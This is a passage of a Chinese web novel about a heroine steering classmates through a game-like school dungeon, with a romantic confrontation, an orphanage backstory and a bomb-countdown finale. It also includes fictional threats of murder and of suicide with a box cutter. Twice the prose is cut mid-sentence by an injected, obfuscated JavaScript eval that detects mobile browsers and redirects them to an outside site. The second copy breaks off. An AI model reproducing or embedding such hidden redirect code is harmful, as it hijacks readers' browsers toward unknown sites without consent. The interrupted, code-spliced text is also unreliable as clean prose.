时准捏着叉柄,动作略显费劲地在蛋糕一角挖了一小块,蛋糕屑立刻便像木屑一样,顺着挖开的弧度做山体滑坡运动,由此可见这个蛋糕胚究竟是有多干。 温初夏都不好意思问他好不好吃这个问题。 因为肯定不好吃,但如果自己非要问的话,时准这么体贴的人,为了照顾她的情绪肯定会说好吃。 温初夏不喜欢时准口是心非,只能默默打开甜牛奶的易拉环,让他喝两口顺一顺,别噎到了。 大概是不习惯这种安静的气氛,时准吃得很快,没两分钟就把这一块巴掌大的干巴小蛋糕吃完了,放下叉子时,嘴角还粘了不少蛋糕碎屑。 温初夏给他一张餐巾纸,让他擦一擦。 擦完后,时准左手拿着牛奶罐,手肘搭在大腿上,趁着老天爷还没下雨,周围也没有其他人打扰,和温初夏聊起天—— “你说,我们还有多久才能离开这里呢?” “……应该是六月一号吧。”温初夏故意顿了两秒,才作出回答,“就爆炸发生的那天。” “怎么忽然问这个,想家啦?”她开玩笑。 “不。”指尖无声敲打着铝合金的罐身,时准微微低下头,说:“我其实,不太想离开。” 欸? 温初夏睁大眼,嘴角的弧度落回:“为什么啊?” 这孩子怕不是刚才被排球砸伤脑袋了,或者是被恐怖屋里看到的东西刺激到了? “因为一旦回去,你就又会变回从前那样了。” “哪样?” “躲着我。” “……” 呼吸瞬间变得有些乱,温初夏心虚地移开目光,弱弱辩驳:“我什么时候躲着你了。” 这话说的,连她自己都觉得好无耻。 但时准还是那么好,没有拆穿这拙劣的掩饰让她颜面扫地,静了静,话锋一转:“我改主意了,关于我之前对你说的那句话。” “什么话?” “说我不介意宋云泽的那句话。” “……” “我当时是骗你的,其实我很介意。” 温初夏无言以对,时准却步步紧逼,盯着她沉默的侧脸,语气带了一点恳求和悲切: “夏夏,你的眼里可以只有我吗?不要再有别的什么人,因为我的眼里也只有你。” 这回别说开口了,温初夏甚至连动都不敢动。 救救我救救我救救我……为什么他偏要在这个节骨眼上和我说这些??! 要是放在从前,她当然能顺着时准的心意答应他,哄他开心,可是现在,不行。 总部那边已经单方面警告过她很多次了,叫她不要和男二走太近,最低要求是至少不能比和男主近。 因为他们身为主角,是原始界面的一部分,哪怕现在身处于另一界面,行为举动仍会对原界面产生影响。 温初夏绝对不能,在男主还没有和她表白的情况下,首先和男二确定1v1关系,哪怕他之后会失去这段记忆,但这样做对正在进行的修复工作来说,无疑是毁灭性的打击。 现在这个副本最难的阶段已经熬过了,大家都适应得很好,进度条拉得也很丝滑,剩下一个多月时间,只需要按部就班,顺着她铺好的路继续往下走就行。 她不能前功尽弃。 这既是对她自己不负责,也是对其余被牵连进来的同学,以及总部工作人员不负责。 是的,虽然她很讨厌总部,但对同为牛马的同事还是有抱有一定人性关怀的。 温初夏不知该如何回答,只能低头保持沉默。 四周安静的只能听见风声,将时准眼中的希望吹灭。 “所以你……不愿意是吗。” “……”还是不回答。 时准把喝掉一半的牛奶罐放在乒乓球台上,温初夏不敢看他,那他就干脆在她面前蹲下,仰视她,让她无处可躲。 “宋云泽到底有什么好的?他比我晚认识你,没我了解你,更没有我喜欢你,你为什么偏偏会这么在意他?夏夏,你能告诉我为什么吗?” ……因为他是男主你是男二啊。 傻瓜。 温初夏被少年灼热的目光刺痛,闭上眼侧过脸,但两只手却又被很用力地握住,只得再次睁开。 她张了张嘴,一句“我就不能同时喜欢你们两个吗”不上不下地卡在喉咙,像根坚硬无比的鱼刺,就是说不出口。 时准的眼睛好像有种魔力,只要一被这双眼睛注视着,她脑子里的撒谎细胞统统都会即刻毙命,临死前的遗言是: 别对他说谎,否则会被处以神罚。 简!直!荒!谬! 我堂堂守护者,怎么会怕一个NPC?!! 温初夏猛地站起来,想挣开时准的手。 她甩了一下,没甩掉,于是加倍用力地又甩了一下,还是没甩掉。 你偷偷在手里粘502了??? 没想到时准却主动松开了。 此情此景,傻子才会选择留下。 温初夏转身要走,但刚迈开步子,右边脚踝就炸起刀割般的剧痛,并且这种痛感还是放射性的,顺着小腿蔓延到膝盖,半个身子直接麻了。 于是她只好又停住。 时准天真地以为她这是动摇了,想留下来和自己好好聊聊,但实际温初夏心里除了在嗷嗷喊疼之外,唯一的念头就是—— 哎呦不行,我这暴脾气要控制不住了,得赶紧回宿舍找宋云泽吵架去,大超特吵! 见她只是停住一秒,接着就又往前走,步子迈得那样快那样决绝,时准顿时慌了,拉住她的胳膊,拦在她面前。 头顶的阴云开始加速翻涌,几道闪电银蛇乱舞,片刻后传来闷噪的雷鸣。 少年哽咽道:“在你心里,我究竟算什么?我是你的玩具吗?玩腻了就扔掉的那种?” 这句直白的质问比世界上最锋利的刺刀还要尖锐,让温初夏久违地感觉到,自己所剩无几的良心居然还存在于胸腔之下,以疼痛的形式。 “不要通过自轻自贱的方式来向人要求什么。”温初夏皱着眉,冷漠地看着他,“这样只会让别人觉得你幼稚。” 少年眼眶渐湿,如同低沉的天幕中浸满雨水的乌云。 他像个固执的小孩,还是重复那句话:“所以呢,你要扔掉我了吗?” 没完没了了是吧? 温初夏深吸一口气:“我从来没有说过这种话,是你自己在胡思乱想。” “我没有胡思乱想!” 时准忽然吼了出来,抓着她胳膊的手也越发用力,双眼赤红地看着她。 “夏夏。”他哽咽道,“我求求你,我只想要一个答案——告诉我,宋云泽和我,你到底选哪一个?” 蹬鼻子上脸了简直是! 朦胧一点不好吗?委婉一点不好吗?非得要我把冷冰冰的现实贴在板砖拍你脸上,你才会觉得又痛又爽是吧??! 温初夏陷入深刻的自我反思,反思自己这段时间确实太惯着时准了,是我给他自由过了火,让他僭越了身为卑微男二绝对不能跨越的雷池。 她闭上眼,等再次睁开时,黑白分明的眼睛已经不带有一丝情感,冰冷的像是黑夜下的一片雪地,嘴里吐出的字如冰锥一样刺入心脏—— “他。” 别怪我狠心,是你自己非要问的。 听到这个回答,时准本就苍白无比的脸颊,瞬间变得连一丝血色也无,如同从冻湖里打捞起的溺毙者,只留下被震惊与悲痛绞杀后的青灰底色,衬得他一双眼睛如同被血洗过。 时准用尽全身力气,才勉强锁住喉咙里即将决堤的呜咽。 他是一只孤身遭遇袭击的幼兽,唯一自我保护的方式,就只有绝望的怒吼。 “你选他?好,好啊……那我现在就去杀了他,让你这辈子都别想再见到他!只能看见我——” “啪!” 手起掌落后,温初夏自己也懵了。 酝酿多时的雨水终于在此刻落下。 啪嗒、啪嗒。 啪嗒啪嗒啪嗒啪嗒…… 温初夏失魂落魄地看了自己的左手一眼,然后,目光落在少年侧偏的脸上。 失神的眼,高挺的鼻,微张的唇,颧骨之下的光洁皮肤泛着红。 明明雨下得这么大,雨滴这么密集,她却还是能无比清晰地判定,从他脸颊滑落的那道痕迹,是泪,不是雨。 明明没有多用力,左手指腹却在发麻,在控制不住地不停颤抖。 温初夏鼻尖酸涩极了,像一边塞了一个没熟的柠檬。 她现在只想立刻逃离这个令她窒息的空间,可是有些话不能不说—— “如果你敢杀宋云泽,我会立刻自杀。这样我的眼里不仅没有了他,也没有了你,不会再有任何人。” “从今天起,我会随时带一把美工刀在身上。后果我已经告诉你了,你要是敢做傻事,我会成为第二个时淼。” 泪,还在流。 温初夏不忍地闭上眼,狠声道:“滚!我不想看到你。” 听到脚步声彻底远去,她也失去了维持站立的力气,丢盔弃甲地蹲了下去。 ……右脚痛的踏马跟断了一样! 温初夏心想,如果自己的右脚有脚机的话,现在肯定已经打电话报警了。 痛得实在受不,她默默把身体重心尽量移到左边,头埋得很低,左手搭在后颈上。 这个姿势让心中汹涌的情绪更容易倒灌进鼻腔和眼眶,雨水毫不留情地砸进后背。 很冷,很疼。 不知道时准之前被排球砸的时候,是不是也是这个感受。 “叮!” “恭喜宿主完成任务,原界面修复进度到达80%,宿主将于副本结束后返回原界面。” 啊? 温初夏懵逼地抬起头:任务完成了吗??? 我这还没跟男主吵架呢系统你瞎啊! 不过它说完成就完成了吧,温初夏当自己白捡了个便宜,火药桶的心情稍微好了一点。 等她慢吞吞站起来,忽然又听到了脚步声。 温初夏赶紧擦掉脸上的雨水,眯眼一看,发现是打着伞跑来的周雅宜和李书雪。 “你怎么跑这儿来淋雨了?不是说回宿舍躺着吗,我俩回去没看见你吓死了!” 周雅宜把伞斜到温初夏头顶,语气焦急,两只裤脚都被雨水染成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569279|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深色。 温初夏吸吸鼻子,声音发闷:“来散步。” 李书雪冷笑嘲讽:“雨中漫步?您挺有雅兴啊,怎么不直接在雨中吃西餐啊?” 周雅宜立马飞去一眼:“小雪你少说两句。”她这状态一看就不对劲,你别拱火。 接下来的一整个周末,温初夏都没有见到时准。 而周一一早去教室上课,发现李确和时准居然换了座位,坐到教室前门去了。 温初夏早就预料到时准会疏远自己,她并不意外,但当预想真的成为现实,胃部的坠胀感还是让她一连好几天都没怎么吃饭。 精神萎靡了不止一点,突出表现之一,就是她居然开始在课堂上打瞌睡了。 要不是各位老师就算变成小孩了也还是格外宠她,跟有肌肉记忆似的,温初夏早就把教室后的地板给站出坑了。 五月的第一周周末,照常还是月考。 考试结束的第一时间,排名和分数就出来了,让人目瞪口呆的是,这回第二名居然不是温初夏,而是时准。 虽然是险胜,只比温初夏均分多了0.7,但能把万年老大从宝座上踹下来,所有人都不禁对时准刮目相看,纷纷向他请教学习技巧,问他是怎么进步这么快的。 时准也不藏着掖着,真诚回答大家提的所有问题,态度和语气都是一等一的有耐心,甚至比从前的他还要温和百倍。 看了几眼被众星拱月、浑身上下仿佛散发着圣光的时准,温初夏目光又移回排名表上,发现除了他之外,还有一个人,均分提得也很快。 “欸。”温初夏打了个哈欠,懒唧唧地对季明轩说,“你这次考得不错嘛,平均分都及格了——你英语多少?没拉后腿?” 谁知这人却回:“我压根没考英语。政史地也没考。” 温初夏:? 她迟疑:“那你是怎么……”考这么高的? “你们难道都没发现吗?”季明轩眨了眨大眼睛。 “规则除了对妞妞的单科成绩有要求外,对我们的排名都是按照平均分来的,考几科就算几科的平均分,所以我这回特意没考英政史地,平均分果然是只算了另外五科的。” 温初夏惊了:你、你居然卡BUG??!!! 我作为玩这个副本快两轮的人都没发现的BUG,竟然被一个英语甚至考不到30分的菜鸡给秒了? 这不科学,这不科学! 内秀型选手季明轩见大学霸一脸外焦里嫩的茫然,内心狠狠爽到,又故作懊恼说:“早知道我就只考物理了,毕竟我物理分最高。” 温初夏短时间内无端遭受双重打击,魂不守舍地走了,回宿舍补觉。 但人上床太早一般是睡不着的,因为生物钟不允许,温初夏在窄床上翻来覆去覆去翻来好半天,一连考完九科的身体明明很疲惫,却迟迟没有睡意。 她干脆闭着眼开始复盘。 上次夜巡停电鬼楼,一群学生几乎把整栋楼都掏空了,连几层几房哪面墙角有耗子洞都摸的一清二楚,该找的证据一个不少,拼凑出的故事版本为—— 向日葵孤儿院表面上是所福利机构,实则却是拐卖儿童的中转站,每隔一段时间就会收一批孩子进来,卖一批孩子出去,人员流动相当大。 但因为这里地处偏远、比邻深山,所以一直没被公安部门查到——直到有个孩子趁门卫睡觉时偷了他的手机,报了警。 但就是这么倒霉,孤儿院里百分之九十的孩子都是拐来的,偏偏这个孩子是因为走失来的这儿。 他年纪又小,在孤儿院呆的时间又短,报警时只说了自己被虐打的事。 来的警察也是个糊涂蛋,愣是在院长花言巧语递烟送酒的攻势之下,没有发现孤儿院的异样,草草揭过。 此后,为了彰显向日葵孤儿院是一个具有人情关怀、温暖的大家庭,绝对没有搞什么违法犯罪的勾当,院长特意聘请了三名老师,来给这群暂时无家可归的孩子们授课,还购置了一批玩具和运动器材,供他们玩耍。 因此获得了县里的表扬。 至于那个报警的孩子,他的名字在花名册上被打了叉,两天后,后山多了个小土堆。 三个老师之中,只有兼任音体美三科的老师不是院长的亲戚,她是上面派来支教的、刚毕业的女大学生,姓乌。 在孩子们眼中,开朗又温柔的乌老师简直是这个世界上最完美的存在,她像一束阳光,带给这群生活在阴沟里的小孩为数不多但弥足珍贵的温暖。 五月的最后一天下午,大雨倾盆,乌老师在教室里组织他们为六一儿童节演出排练大合唱,歌曲是《歌声与微笑》,大家都练得很认真。 排练中途,乌老师腹痛去上厕所,意外听到了院长和另外两名老师在办公室发愁,说这么大的雨,埋在后山的那个东西不会被露出来? 乌老师早就觉得他们仨奇怪了,于是偷偷跑去后山查看,发现了腐烂到可见白骨的小孩尸体,并且不止一具。 她吓得一屁股跌坐在泥水里,手机浸水了没法报警,于是冒着大雨和山体滑坡的危险,走了整整一个晚上,才终于到县里报警。 但很衰的是,她逃的时候山体没滑坡,到了警局才知道,通往孤儿院的必经之路堵了,天气预报大雨要连下两天,最快也得六月二号警车才能出动。 天真的乌老师相信了,被警察送到酒店休息,喝的水里被下了安眠药,当她一觉睡到六月一号傍晚,发现窗外的夕阳西斜晚霞灿烂,她才知道,自己被骗了。 院长和老师早已潜逃,孤儿院也变成一片爆炸燃烧后的废墟,只有妞妞一个人侥幸活了下来,但身体百分之八十的皮肤都被烧伤,送进了ICU。 以上信息主要来源于妞妞和乌老师的日记,以及院长手机里的通话记录。 但其实,妞妞有两本日记,第一本是她在孤儿院里写的。第二本,则是她在住院期间,一边饱受治疗的折磨,一边思念逝去的伙伴时写的。 妞妞的愿望,同时也是该副本的终极任务,就写在第二本日记里,要等五月底最后一个地图开启才能找到。 下过一场暴雨后,气温一键入夏,教室里的温度计不声不吭爬升至30℃以上。 周三上午的最后一节是体育课,坐完夺命过山车之后,温初夏有些头晕,不想去食堂吃饭,也不想回宿舍,独自一人回到教学楼。 路过老师办公室,看见九个小孩老师全在里面,改作业的改作业,备课的备课,非常和谐。 阚春兰的办公位正对着门口,她发现了路过的温初夏,立刻抬起稚嫩的脸,露出一个慈祥的笑,温初夏往兜里掏烟的动作一顿,有些心虚。 下一秒,身后无端响起歌声,没有任何预兆—— “请把我的歌,带回你的家,请把你的微笑留下……” 靠!怎么就这么点儿背?! 温初夏不敢回头,拔腿就跑,第一反应是想进卫生间躲着,结果慌乱之下,跑错了地方。 当身后的门自动关闭时,她才反应过来自己究竟进了哪里。 面前是一扇等墙高的镜子。 没等温初夏稳住心神,镜子中自己的倒影就消失不见,取而代之的,是两个她无比熟悉的人。 白刃刺穿胸膛,暗红血珠顺着剑身蜿蜒而下,滴滴答答砸落,很快地面便汇聚出一滩血泊。 “……” 温初夏的瞳孔以剑尖为中心,急速收缩成一点。 她艰难地咽了咽喉,脸色白如枯纸。 原来自己最恐惧看到的场景,是这个。 …… 五分钟后。 宿舍三层的病房门被一脚踹开,接着,九个五花大绑还用胶布封住嘴的小孩老师,被挨个扔了进去,歪七扭八地倒在墙边。 咔啦—— 美工刀的薄刃推出,将一道日光反射到空荡荡的病床上。 “想救他们吗?” 少年面无表情,黑曜石的瞳孔闪动着危险的光,眼神无比冷漠,像在看一只可以随手掐死的蚂蚁。 心电仪因心率太快而发出警报。 “很好。” 他微微一笑,收起刀刃,从呜呜直叫的小孩身边站起。 “那我们来做个交易吧。” 36. 第 36 章 5月31号,周日。 距离爆炸仅剩一天时间。 最后一块地图终于解锁。 楼还是上次那栋楼,但不一样的是,这回是白天,并且搜证没有时间限制,里面的东西可以放心大胆拿出楼,不会变成灰烬。 中午时分,绝大多数人都搜饿了去食堂吃饭,温初夏趁此良机,把剩下没有找到的关键道具全摆在了显眼的地方,手动作弊。 她一路从一楼忙到三楼的图书室,正想搬个板凳,把全场最难找同时也是最重要的线索——藏在天花板里妞妞的第二本日记,拿出来。 结果好死不死,这时,有人进来了。 “欸?你没去吃饭吗?”季明轩疑惑,“不用这么拼吧,这回我们可是有两天时间。” 温初夏强忍下把这个没眼力见的二货一棒槌敲晕的冲动,不动声色地把凳子踹回角落,叹了口气,说:“我不饿。” 日记藏匿的地方太隐蔽了,她总不能一拍脑门,说自己感应到了天花板上有东西,所以就把天花板砸个洞吧? 这太刻意了,很容易引起别人的怀疑。 哪怕此时的这个“别人”,是一位叫季明轩的二货,温初夏也不敢冒着个险。 副本马上就要结束了,她不能冒任何风险,走的每一步都必须要稳。 温初夏只能假装看起书架上捐赠的儿童二手读物,想着等季明轩出去之后再动手……撬天花板。 结果这个二货是真货啊,一直跟在她身后,捣鼓这儿捣鼓那儿,完全没有要走的意思。 “这里的东西好杂啊,啥都有,我看别叫图书室了,改名叫杂货间还差不多。” 说着,季明轩拿起铁架上的扩音喇叭,摁下开关键,打算犯个贱。 然而,还没等他开口说话,喇叭居然自动播放起音乐来,播的还是—— “明天明天这歌声,飞遍海角天涯,飞遍海角天涯……” 我日! 两人都被吓了一大跳,温初夏赶紧转过身,看见季明轩手里拿着个白色的大喇叭,松了口气的同时又骂道:“你吓死我了!快关了关了关了!” 今天天气热,季明轩穿的短袖,此时他紧致的小臂皮肤上爬满了鸡皮疙瘩,手忙脚乱按了好一阵,才把这该死的歌声堵住,后背汗都吓出来了。 “呼——”季明轩长舒一口气,把罪恶喇叭放回原处,讪讪嘀咕:“这玩意儿小卖部也有卖,但我记得一按它播的音乐是《献给爱丽丝》啊,这回怎么是这首歌,好奇怪……” 温初夏没有把他这句牢骚放在心上,反正这个副本奇怪的地方多了去了,回过头继续“找线索”,一边无意义地乱翻,一边闲聊天。 好吧,其实不是闲聊,她想问这个问题很久了—— “你们宿舍……时准最近怎么样啊?” “他?他很好啊。”季明轩刚踩过雷,就又控制不住地开始手贱,东摸摸西摸摸,拿了个篮球在手里拍着。 “就是话少了点,虽然他本来话就不多——尤其是跟宋云泽,我都快俩月没看见他俩说过话了。还有就是他回宿舍的时间也越来越晚,都快住在图书馆了,也不知道是受了什么刺激,疯了一样在学习。” 听到“刺激”两个字,温初夏眉心一跳,不放心地再问一遍:“他和宋云泽真的只是没说话而已?没发生过什么肢体冲突吧?” 季明轩回忆:“很久之前有过一次,他俩不知道为什么差点打起来,被我们四个拉开了。” “但最近一个多月真没有,他俩连话都不说了,怎么起冲突啊。” 温初夏蹙着眉,陷入沉默。 良久。 “……你还要跟在我身后多久?”她忍不住问。 就在这儿拍拍拍,拍你这个破篮球,烦不烦?你没被吵死我都快被吵死了! 一听这话,季明轩反而拍得更起劲了,贱兮兮道:“我是看你一个人找线索太孤单了,所以才来陪陪你的,干嘛赶我走啊?” “难道是因为听到时准的事情,所以心里不舒服了?”他猜测,“其实我一直挺好奇你们仨之间到底是啥关系,三角恋?他俩是不是都在追你啊?我更喜欢他们之中的哪一……” 温初夏深吸一口气,转身,脸色相当难看。 季明轩被她刀人的眼神吓到,本来是不敢再拍了,结果手没拦住,篮球咻地反弹到了天花板上,紧接着,只听一阵霹雳咣当的巨大动静。 尘土飞扬间,温初夏看见有一个粉色的东西掉了下来,下意识用手接住,季明轩则喜提一脑袋仙气飘飘的白灰,一边掸头发一边被灰呛的咳嗽起来。 温初夏低头一看,手里是妞妞的日记。 “……” 这是什么天降锦鲤啊??! 自从当上女主,就再没遇到过好事的温初夏要羡慕哭了。 【时间:20XX年6月10日天气:看不出来,因为窗帘是拉着的 今天是我xing来的第7天了,乌老师每天都来看我,给我读故事,这个本子也是她送给我的。她让我好好养伤,说she会上有很多好心的哥哥姐姐叔叔阿yi知道我的事情,捐了很多qian。 可我浑身上下都好疼好疼呀,一只眼睛也看不见了。 我问乌老师其他小朋友去哪儿了,她就哭着离开房间了,我想是不是说错话了,我不会再她问这个问题了,虽然我真的很想念他们】 【时间:20XX年6月17日天气:好像是晴天 今天乌老师带了一群大人过来,说是给我做采访,举着相机的叔叔给我拍了好多照,我以前很喜欢拍照,可从今天起,我就不喜欢了,我知道我现在的样子很丑。 他们看我的眼神很奇怪,像是在看一个怪物,采访结束后,我和乌老师说我这辈子都不想再拍照了,也不想再接受治疗,擦药好疼,缠白条也好疼。 但乌老师却告诉我要坚强,因为我是个xin运的小孩,是被老天保you的人】 【时间:20XX年6月29日天气:…… 最近每天都有人来采访我,给我拍照片,让我回忆火灾当时的场景,我不想回忆,他们就bi我说,说只要我说,就会给我qian。 乌老师进来,把他们全都赶走了,手里拿着一张报纸在哭,我看见上面印着我的照片。 自从出事后我从没照过镜子,现在的我居然长这样,太可怕了,是不是全世界所有人都知道我的样子了?】 【时间:20XX年7月11日天气:…… 今天我做了植皮手术,医生给我打了一种很神奇的针,一打进去我就shui着了,梦里,我和我的小伙伴们在游乐园里玩,玩完之后说起了梦想,我们每个人的梦想都是长大以后当老师,当像乌老师那样的老师。 希望今晚我还能继续梦到他们】 【时间:20XX年8月23日天气:…… 我一直梦不到他们,我每晚做的都是坏梦,坏梦!梦见大火,梦见戴着眼jing的院长,梦见照相机,就是梦不到他们。 我每天都过得好痛苦,我好想念我的朋友,可我知道,他们已经si了,如果一切可以重来,我希望活下来的人是他们,让我留在火里。 乌老师说,好人死去会上天堂,坏人死去会下地狱,我没做过坏事,应该是可以上天堂的,但我唯一舍不得的东西就是我的日记本,上了天堂我还想继续写日记。】 【终极任务 如果有好心人看到这里,能请你帮我实现我的愿望吗? 1.在6月1日下午5点23分爆炸前把我的朋友们带到安全的地方。 2.把我为他们准备的礼物送给他们,清单列在下一页啦,礼物全都藏在这栋楼里,只是需要一些耐心去寻找。 3.让他们拿着礼物拍一张合照,把照片烧给我。 4.当然,也请把我的日记本一并烧给我哦,包括里面夹着的东西,我说过,我想带着它一起上天堂。 谢谢你们陪我玩这场游戏。 晚安,好梦】 “天呐……” 周雅宜60度角仰望宿舍天花板,努力控制不让眼泪流下来,“原来妞妞这么可怜啊,我之前一直以为她是坏小孩,我真该死啊呜呜呜……” 李书雪拿起夹在日记本里的一张大合照,里面所有孩子的脸都是糊的,像是被火飘糊的,唯独只有一个小女孩,面容清晰,且笑得特别灿烂。 这应该就是妞妞了。 她叹了口气,惋惜道:“照片里的妞妞笑得这么开心,她应该也没想到自己以后会这么抗拒拍照吧。” “啊——小雪你别刀了——” 付子衿两手捂脸,哭嚎:“这段时间我不知道在心里骂过妞妞多少回,觉得是她把我们搞的这么惨,我也有罪。” “我也有罪。” “我更有罪……” 看着这一片哀嚎,温初夏抽走李书雪手里的相片,连同其他夹在妞妞日记本里的小零碎:糖果纸、小发卡、明信片、红色的千纸鹤……全都原封不动地放回去。 东西虽然都很不值钱,但却是这个可怜的小女孩最最珍视的宝贝,是死后要带上天堂的宝贝。 “所以,”姜荞语擦了擦眼泪,拢了拢桌面上妞妞想要送给九名小孩老师的礼物,问温初夏:“我们明天是要先把老师们带出那栋楼,然后把礼物分别给他们,任务就算结束了,对吗?” “嗯。”温初夏点点头,“按理来说是这样的。” “但有一个问题。” 李书雪举手:“小孩老师的力气都特别大,你们还记不记得上回,摇摇车中午去教学楼抓人,但我们都在食堂吃饭的那次?四五个男生都抓不住一个老师啊,上次要不是运气好,好几个老师热晕过去了,不然我们早就被烤成串儿了!” 闻言,其余来【201】开动员大会的女生纷纷面露愁容,互相看看—— “对啊。” “我胳膊上被孟老师咬出来的牙印现在还能依稀看出来呢,咬的可狠了。” “不知道他们明天会不会反抗……” “肯定会啊,不然这最后一个任务未免也太好做了,不符合游戏的调性。” “那我们如果用绳子把他们绑起来,算不算欺负老师?妞妞会不会生气啊?” “很难说,毕竟明天都大结局了,说不定我们无论怎么搞妞妞都不会生气呢?” “不用担心。”温初夏靠在铁架床的铁杆上,抱着双臂,平淡的语气中带着令人安心的沉稳:“我已经想到办法解决了。” 周雅宜从泪眼朦胧中抬头看向她,问:“怎么解决啊?” 谁知对方却一脸认真地盯着自己,说:“你。” 周雅宜:??? 第二天一早。 清早6点半的起床铃准时响起。 醒来后大家发现,学校里到处都是定时炸弹,宿舍里有,食堂里有,教学楼里有,甚至连厕所都有,密集得跟连连看似的。 但这还不是最奇葩的,最让他们无法理解的是,今天周一居然还得上课! 讲台上,身高不足一米三的小孩老师踩着板凳,神色日常地讲着课,完全视讲桌上的定时炸弹为无物,拿粉笔砸人的动作依旧那么丝滑。 而讲台下,学生们的心情则都无比煎熬,一个字都听不下去,头顶的电风扇呜呜作响,但单薄校服之下的后背从没干过。 终于,他们熬到了下午五点,倒计时只剩最后的23分钟47秒,下课铃打响的瞬间,六十个学生立马冲出教室,按照提前计划好的开始行动。 “紧张吗?”李确嘴角带着一点笑,靠在二层东侧恐怖屋门边的墙上,问身边的人:“一会儿进去了会不会害怕?” “怕啊,当然怕了。”周雅宜瘪瘪唇,嘴上说着害怕,一双圆眼睛却是饱含笑意的。 两人同样靠在墙上,偏头看着对方,明明是正常音量,氛围却像是在讲悄悄话一样,她说—— “一会儿你得抱着我跑啊,不然我腿太短了,会从台阶上摔下去的。” “那当然了。”李确见一滴汗从她雪白的颈间滑落,把手里的风扇扇得更快,“不然要让季明轩抱你吗?” 周雅宜立刻:“我才不要!你信不信一会儿他会单手拎着我的头发跑,还不如从台阶上摔下去呢……” 李确笑:“我会抱你的,别担心。” 躲在二三层之间台阶上的人被这二位闪瞎了狗眼,忍不住小声嘀咕—— “他俩这是……谈上了?” “早谈上了好吗,你也太没眼力见了吧。” “能在这种时候谈情说爱,心态也是蛮好的,我好羡……不对,好佩服。” 在窗边观察的同学大声通知:“来了,到楼下了!大家快快躲起来!” 一切准备就绪,周雅宜和李确击了个掌,笑了笑,推开恐怖屋的门,步伐坚定地走了进去。 下一刻,季明轩骑在就算被绑架了也没法眨眼的摇摇车上,一路sayhi地招摇而过,路过老师办公室时,把蒙住摇摇车视线的校服外套给取了下来。 九个小孩老师排成一列,乖乖跟在他身后,在摇摇车即将驶入恐怖屋的前一秒,季明轩从车上跳了下来。 房门关闭又打开,从里面跑出十个吱哇乱叫的小洋娃娃和一辆聒噪的玩具小汽车,埋伏在台阶上的人纷纷出动,一人抱起一个,就往楼下跑。 “欸?” 季明轩弯腰捞了个空,转头一看,发现李确已经抱着周雅宜下楼了。 “咔嚓!” 快门按下,胶片从相机上端吐出,被温初夏拿出来。 因为天气很热,所以照片没两分钟就显影了,温初夏仔细检查了两遍,确保每个人手里拿着的礼物,和妞妞日记本中要求的是一致的。 她把相片夹在日记本里,把日记本放回它原来的位置,做完这些,时间来到了5点13分28秒,距离爆炸刚好只剩下10分钟整。 时间还很富裕,温初夏松了口气,忍受不了在紧张关头无事可做的她开始清点人数。 老师们不用数,才拍过照当然9个都在。 重要的是学生,此时他们应该全员都在操场才对,因为整个学校只有这里没炸弹,不会起火。 温初夏站在过山车的轨道上,数来数去,却只数出了59个人,还少了一个。 她不由得咬紧了牙,心里很担忧地想:是哪个傻逼不要命了这个时候还不来操场避难…… 忽然,她灵光一闪:是时准! 有句老话说的对,孩子静悄悄,必定在作妖,温初夏悔不当初,自己怎么能天真地以为时准会因为她的一个巴掌而就此放弃呢?他像是那种知难而退的人吗? 此人明显就是迎难而上还要难上加难的类型啊! 宋云泽见温初夏不打一声招呼地往操场出口跑,忙拦住她:“你要去哪儿?外面马上就要爆炸了你不能出去!” 温初夏预判了他的动作,直接干脆地甩开他的手,头也不回地说:“我会在爆炸之前回来的,时准还在教学楼里,我要去把他带出来。” 宋云泽一愣,然后快步赶上:“那我和你一起去找他。” “别,你去就是添乱。”温初夏阻止,“他一看见你,肯定就更不愿意出来了。” 又保证道:“别担心,到时候如果要爆炸了他还是不愿意出来,那我会自己提前跑的。” 时准自己想变成爆米花,那就让他变,她可不奉陪,反正妞妞的愿望已经完成了,只要时间一到,他们就能立刻返回原界面。 宋云泽知道自己没法阻止温初夏,没有任何人可以阻止她,只能反复叮嘱:“那你一定小心,看着时间,一定要提前出来。” 温初夏:“知道。你也注意一下其他人,特别是老师们,别让他们乱跑。” “好。”宋云泽还是担忧,“我等你回来。我们大家都在等你回来。” “嗯,去吧。” 教学楼三层卫生间。 温初夏一个箭步冲进去,揪住时准的衣领,憋了一路的怒火终于找到对象发泄:“你是疯了吗?!都要爆炸了还站在这里干嘛,想死吗?!快,跟我走!” 骂完,揪衣领的手改为拉着对方的手腕,温初夏转身迈步,身后的人却沉默又倔犟地立在原地,死活拉不动。 ? 温初夏扭头:“你干嘛?真想死啊?” “嗯。” 被拉住的手反而用力把她往回一扯,天旋地转间,温初夏被时准摁在了墙上,瓷砖的凉感穿透衣衫和皮肉,侵入心脏。 时准低头近距离看着她:“所以想让你帮我实现我的遗愿。” 温初夏脑海中回响起他之前说的一句话:我每次许的愿,都不会实现。 所以怎么地,你是觉得把“愿望”改成“遗愿”就能实现吗?我最讨厌被人威胁了。 “抱歉啊。”温初夏冷笑一声,“妞妞的遗愿都还没实现呢,你,得排队。” “可是我的遗愿很简单啊。”尾音轻挑,脸颊靠近,瞳孔的颜色也更黑了些,“就不允许插个队吗?难道在你心里她比我还重要?” 温初夏无语了:这人怎么还是这么爱比啊,和宋云泽比就算了,毕竟是情敌,现在居然连副本BOSS也要比一比,这像话吗。 她深吸一口气,感受到四周火药汽油味愈浓,知道马上就要爆炸了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 